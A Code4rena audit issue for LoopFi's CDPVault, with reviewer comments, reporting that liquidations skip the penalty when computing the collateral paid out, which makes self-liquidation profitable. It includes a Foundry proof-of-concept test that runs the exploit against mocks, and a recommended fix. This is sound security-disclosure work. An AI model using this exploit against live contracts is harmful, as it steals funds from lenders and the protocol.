-
Notifications
You must be signed in to change notification settings - Fork 0
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Liquidation doesn't account for penalty when calculating collateral to give, allowing users to profit by borrowing and self-liquidating #399
Comments
koolexcrypto marked the issue as unsatisfactory: |
Hi @koolexcrypto this finding was incorrectly duplicated with #58, and since issue 58 was deemed invalid, this one was also deemed invalid. However, this finding is actually different than the one described in 58. This finding is how liquidators must pay |
koolexcrypto marked the issue as not a duplicate |
koolexcrypto removed the grade |
Thank you for pointing this out. Could you please adjust the PoC to show the same impact when interested accrued? Ref: // user waits some time for price to change so position becomes unsafe (but no bad debt yet)
// in reality, interest will accrue, however to make this PoC simple we will update spot price (which is another way user can take advantage) This will help to assess the severity. |
koolexcrypto marked the issue as primary issue |
Here is the adjusted PoC that shows the same impact when interest is accrued. Add the following to function testSelfLiquidateProfit() public {
mockWETH.mint(address(this), 20e18);
// discount = 0.92 ether (8% discount)
// penalty = 0.99 ether (0.01% penalty)
// liquidation ratio = 1.05 ether (105%)
CDPVault vault = createCDPVault(token, 150 ether, 0, 1.05 ether, 0.99 ether, 0.92 ether);
createGaugeAndSetGauge(address(vault));
// create position
uint256 wethBefore = mockWETH.balanceOf(address(this));
_modifyCollateralAndDebt(vault, 100 ether, 95 ether);
uint256 wethBorrowed = mockWETH.balanceOf(address(this)) - wethBefore;
uint256 collateralDeposited = 100 ether;
console.log("weth borrowed: ", wethBorrowed);
console.log("collateral deposited: ", collateralDeposited);
address position = address(this);
uint256 amountUserMustRepay = vault.virtualDebt(position);
console.log("Amount of debt user must repay: ", amountUserMustRepay);
// any attempt to liquidate now will revert because position is safe
vm.expectRevert(bytes4(keccak256("CDPVault__liquidatePosition_notUnsafe()")));
vault.liquidatePosition(position, 1 ether);
// 30 days have now passed, with interest accrued
vm.warp(block.timestamp + 30 days);
// new amount user must repay due to debt accrued
amountUserMustRepay = vault.virtualDebt(position);
console.log("Amount of debt user must repay after 30 days of interest accrued: ", amountUserMustRepay);
(uint256 collateral, uint256 debt , , , , ) = vault.positions(position);
// calculate amount to repay to fully liquidate position.
uint256 collateralSpotPrice = oracle.spot(address(token));
uint256 discountPercent = 0.92 ether;
uint256 discountAmount = wmul(collateralSpotPrice, discountPercent);
uint256 repayFull = wmul(collateral, discountAmount);
console.log("Amount user is repaying: ", repayFull);
mockWETH.approve(address(vault), repayFull);
// fully liquidate position
wethBefore = mockWETH.balanceOf(address(this));
uint collateralBefore = token.balanceOf(address(this));
vault.liquidatePosition(position, uint256(repayFull));
uint256 wethSpent = wethBefore - mockWETH.balanceOf(address(this));
uint256 collateralReceived = token.balanceOf(address(this)) - collateralBefore;
console.log("weth spent: ", wethSpent);
console.log("collateral received: ", collateralReceived);
console.log("Total WETH earned: ", wethBorrowed - wethSpent);
console.log("collateral lost: ", collateralDeposited - collateralReceived);
// confirm that collateral in position is 0
(collateral, debt, , , , ) = vault.positions(position);
console.log("collateral remaining in position: ", collateral);
}
After 30 days of interest accrued, attacker self-liquidates and receives the full amount of collateral without the penalty applied to the amount they receive, while profiting 3e18 WETH. This wouldn't be profitable if the penalty was applied to the value of the collateral to give to the liquidator. Edit: Fixed a mistake that was noted in my first response |
Thank you for the PoC. given the impact demonstrated above, this stays as High. |
koolexcrypto marked the issue as satisfactory |
koolexcrypto marked the issue as selected for report |
Lines of code
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L402-L426
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L521-L532
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L503-L504
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L538-L539
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L567-L569
https://github.com/code-423n4/2024-07-loopfi/blob/main/src/CDPVault.sol#L530
Vulnerability details
Impact
CDPVault
allows users to borrowunderlying
fromPoolV3
by depositing collateral into the vault, such that the(collateral value of their position / liquidationRatio) >= their current total debt
.Users must repay their debt fully via
CDPVault::repay
, and the amount must cover their entirecurrent total debt
, which also includes various interest factors. If the value of their collateral divided by liquidatioRatio is less than the debt of their position, then their position is consideredunsafe
and anyone canliquidate
the position by buying the collateral at adiscount
. The amount spent by the caller is used to cover for the debt.To ensure that users cannot profit from self liquidations, the
liquidatePosition
function incorporates a penalty mechanism, that is intended to deduct fees from the payment amount, which subsequently goes to the protocol as profit.The problem is that when the
liquidatePosition
function calculates the collateral to give to the caller, it utilizes the the repay amount without the penalty, essentially functioning as if there is no penalty mechanism at all. The caller can specify anyrepay amount
, and the collateral they receive will correspond directly torepay amount / discount
, with no penalty.This allows malicious users to profit by
deposit collateral -> borrow WETH -> have their position become unsafe -> buy collateral with WETH at a discount
. Malicious users can profit and steal funds from lenders and the protocol.Proof of Concept
The following block is executed when users repay their debt:
CDPVault.sol#L402-L426
For users to completely repay their loan, they must pay
maxRepayment
amount, which is calculated via a call tocalcTotalDebt
.If the position is unsafe (collateral value / liquidation ratio < total debt), then anyone can liquidate it for a discount:
CDPVault.sol#L521-L532
There is also a penalty that the liquidator must pay (deducted from
repayAmount
). This is to mitigate profits from self-liquidation, as stated by the natspec of this function:CDPVault.sol#L503-L504
So the actual amount of debt repaid by the liquidator is
repayAmount - penalty
:CDPVault.sol#L538-L539
In the same call, the
penalty
is also transferred to the pool, taken as a profit for the protocol.CDPVault.sol#L567-L569
However, there is a critical problem here. We can see that the intention here is that the caller pays
repayAmount - penalty
for the debt, and that the penalty goes towards profit.This can be confirmed by observing the amount of debt that is covered via repayment:
CDPVault.sol#L530
Note that
repayAmount * liqConfig_.liquidationPenalty
is equivalent torepayAmount - penalty
. So the debt reduced is repayAmount - penalty.The problem is that the collateral sent to the caller does not incorporate the penalty for liquidation.
Essentially, this makes the
penalty
redudant, because the caller still receives the fullrepayAmount
of collateral specified, including adiscount
.A malicious user can perform the following attack scenario:
CDPVault::deposit
CDPVault::borrow
(collateral value of their position / liquidationRatio) < their current total debt
)Coded PoC
Note: The value of the discount and penalty were chosen by observing the values currently set in
scripts/config.js
, they were not chosen arbitrarily.Add the following to
test/unit/CDPVault.t.sol
and runforge test --mt testSelfLiquidateProfit -vv
As displayed in the coded PoC, since the user receives the full amount of collateral without the penalty applied to the amount they receive, the user profits 1.6e18 WETH with the attack scenario described above.
Tools Used
Manual review, foundry
Recommended Mitigation Steps
Apply the penalty to
repayAmount
when calculating the amount of collateral to give to the caller. In addition, ensure that the protocol applies a high enough penalty such that self-liquidators cannot profit from this attack.Assessed type
Error
The text was updated successfully, but these errors were encountered: